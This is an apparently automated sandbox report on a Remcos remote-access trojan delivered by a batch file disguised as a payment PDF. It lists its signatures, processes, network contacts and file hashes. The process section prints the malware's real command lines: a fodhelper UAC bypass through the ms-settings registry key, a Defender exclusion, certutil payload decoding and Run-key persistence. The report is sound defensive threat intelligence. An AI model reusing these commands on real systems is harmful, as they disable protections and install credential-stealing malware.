Malware Analysis Report

2025-01-02 03:18

Sample ID 240327-c6p2qadh7v
Target d1a3e9d965809db746d3dbe909753f38e2073737347cc8d5714c78969b352d06.gz
SHA256 d1a3e9d965809db746d3dbe909753f38e2073737347cc8d5714c78969b352d06
Tags
modiloader remcos remotehost collection persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d1a3e9d965809db746d3dbe909753f38e2073737347cc8d5714c78969b352d06

Threat Level: Known bad

The file d1a3e9d965809db746d3dbe909753f38e2073737347cc8d5714c78969b352d06.gz was found to be: Known bad.

Malicious Activity Summary

modiloader remcos remotehost collection persistence rat trojan

Remcos

ModiLoader, DBatLoader

ModiLoader Second Stage

Detects executables built or packed with MPress PE compressor

NirSoft WebBrowserPassView

Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)

Detects executables referencing many email and collaboration clients. Observed in information stealers

Nirsoft

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers

NirSoft MailPassView

Checks computer location settings

Executes dropped EXE

Loads dropped DLL

Accesses Microsoft Outlook accounts

Adds Run key to start application

Suspicious use of SetThreadContext

Enumerates physical storage devices

Program crash

Script User-Agent

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Kills process with taskkill

Suspicious behavior: CmdExeWriteProcessMemorySpam

Modifies registry key

Suspicious use of AdjustPrivilegeToken

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-27 02:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-27 02:41

Reported

2024-03-27 02:44

Platform

win7-20240220-en

Max time kernel

119s

Max time network

121s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)

Description Indicator Process Target
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Detects executables built or packed with MPress PE compressor

Description Indicator Process Target
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Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers

Description Indicator Process Target
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Detects executables referencing many email and collaboration clients. Observed in information stealers

Description Indicator Process Target
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ModiLoader Second Stage

Description Indicator Process Target
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NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A
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NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A
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Nirsoft

Description Indicator Process Target
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Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\colorcpl.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\Koomxsve = "C:\\Users\\Public\\Koomxsve.url" C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1796 set thread context of 2884 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 1796 set thread context of 2828 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 1796 set thread context of 1276 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\colorcpl.exe

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\ms-settings\shell C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\ms-settings\shell\open C:\Windows\system32\reg.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\ms-settings\shell\open\command C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\ms-settings C:\Windows\system32\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2732 wrote to memory of 2828 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2732 wrote to memory of 2828 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2732 wrote to memory of 2828 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2828 wrote to memory of 2836 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2828 wrote to memory of 2836 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2828 wrote to memory of 2836 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2732 wrote to memory of 1276 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 1276 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 1276 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1276 wrote to memory of 2920 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1276 wrote to memory of 2920 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1276 wrote to memory of 2920 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2732 wrote to memory of 1404 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 1404 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 1404 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1404 wrote to memory of 2932 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1404 wrote to memory of 2932 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1404 wrote to memory of 2932 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2732 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2584 wrote to memory of 2652 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2584 wrote to memory of 2652 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2584 wrote to memory of 2652 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2652 wrote to memory of 2720 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2652 wrote to memory of 2720 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2652 wrote to memory of 2720 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2720 wrote to memory of 2180 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2720 wrote to memory of 2180 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2720 wrote to memory of 2180 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2732 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2688 wrote to memory of 2876 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2688 wrote to memory of 2876 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2688 wrote to memory of 2876 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2732 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2548 wrote to memory of 2936 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2548 wrote to memory of 2936 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2548 wrote to memory of 2936 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2732 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2732 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2732 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2732 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2732 wrote to memory of 2216 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2216 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2216 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 1036 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 1036 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 1036 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2272 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2272 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2272 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2332 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2332 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2332 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 768 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 768 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 768 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 768 wrote to memory of 1256 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 768 wrote to memory of 1256 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 768 wrote to memory of 1256 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

C:\Windows\system32\cmd.exe

cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\reg.exe

reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\Libraries\Lewxa.com

C:\\Users\\Public\\Libraries\\Lewxa.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows "

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows \System32"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Windows \System32\3271947.exe"

C:\Windows \System32\3271947.exe

"C:\Windows \System32\3271947.exe"

C:\Windows \System32\3271947.exe

"C:\Windows \System32\3271947.exe"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\fqyavcahylsvrjssobrasozuunjhwvngw"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hsetw"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\smrdxmvc"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1796 -s 696

Network

Country Destination Domain Proto
US 8.8.8.8:53 1010.filemail.com udp
US 23.237.50.106:443 1010.filemail.com tcp
US 23.237.50.106:443 1010.filemail.com tcp
N/A 127.0.0.1:45671 tcp
N/A 127.0.0.1:55677 tcp
US 192.3.101.8:55677 tcp
US 192.3.101.8:55677 tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp

Files

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2652-21-0x000000001B3F0000-0x000000001B6D2000-memory.dmp

memory/2652-23-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

memory/2652-22-0x0000000001D00000-0x0000000001D08000-memory.dmp

memory/2652-24-0x0000000002B90000-0x0000000002C10000-memory.dmp

memory/2652-25-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

memory/2652-26-0x0000000002B90000-0x0000000002C10000-memory.dmp

memory/2652-27-0x0000000002B90000-0x0000000002C10000-memory.dmp

memory/2652-28-0x0000000002B90000-0x0000000002C10000-memory.dmp

memory/2652-34-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

C:\Users\Public\Lewxa.txt

MD5 8f6b3132069a25963b93083743e160dd
SHA1 364112fc579f11dfa82a3c1078ec19706cd6dfda
SHA256 5184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c
SHA512 af3051aeed9de9931f12d48cd22fef3273f9350a1cdd3c476fa02f7550288f7a96112f311d4dadcf61f0a67c93c22ce2999fb6253c8841b9d399e710b8518938

C:\Users\Public\Libraries\Lewxa.com

MD5 04aba5a372c8dac9affd6f1578b478b3
SHA1 1e0d764539cbf2e86e0d59b83f407b429f61fdb7
SHA256 b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411
SHA512 4d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3

memory/2000-52-0x00000000003C0000-0x00000000003C1000-memory.dmp

memory/2000-57-0x00000000031E0000-0x00000000041E0000-memory.dmp

memory/2000-59-0x00000000031E0000-0x00000000041E0000-memory.dmp

memory/2000-62-0x00000000003C0000-0x00000000003C1000-memory.dmp

memory/2000-63-0x0000000000400000-0x0000000000527000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar5B22.tmp

MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

C:\Windows \System32\3271947.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

memory/2416-127-0x00000000005E0000-0x00000000005E1000-memory.dmp

memory/1796-144-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-146-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-147-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-148-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-149-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-151-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-153-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-154-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-156-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-157-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1796-159-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/2884-160-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/2884-162-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2884-165-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2828-164-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1276-176-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2828-169-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2828-174-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2828-172-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2884-168-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1796-175-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/2828-177-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1276-180-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1276-182-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1796-179-0x0000000000C60000-0x0000000001C60000-memory.dmp

memory/1276-184-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2884-189-0x0000000000400000-0x0000000000478000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\fqyavcahylsvrjssobrasozuunjhwvngw

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/2828-191-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1796-192-0x000000001FDC0000-0x000000001FDD9000-memory.dmp

memory/1796-195-0x000000001FDC0000-0x000000001FDD9000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-27 02:41

Reported

2024-03-27 02:44

Platform

win10v2004-20240226-en

Max time kernel

148s

Max time network

151s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)

Description Indicator Process Target
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Detects executables built or packed with MPress PE compressor

Description Indicator Process Target
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Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers

Description Indicator Process Target
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Detects executables referencing many email and collaboration clients. Observed in information stealers

Description Indicator Process Target
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ModiLoader Second Stage

Description Indicator Process Target
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NirSoft MailPassView

Description Indicator Process Target
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NirSoft WebBrowserPassView

Description Indicator Process Target
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Nirsoft

Description Indicator Process Target
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Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation C:\Users\Public\xkn.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows \System32\1631364.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\colorcpl.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Koomxsve = "C:\\Users\\Public\\Koomxsve.url" C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3720 set thread context of 4440 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 3720 set thread context of 2080 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 3720 set thread context of 2292 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\colorcpl.exe

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings\shell C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings\shell\open C:\Windows\system32\reg.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\ms-settings\shell\open\command C:\Windows\system32\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
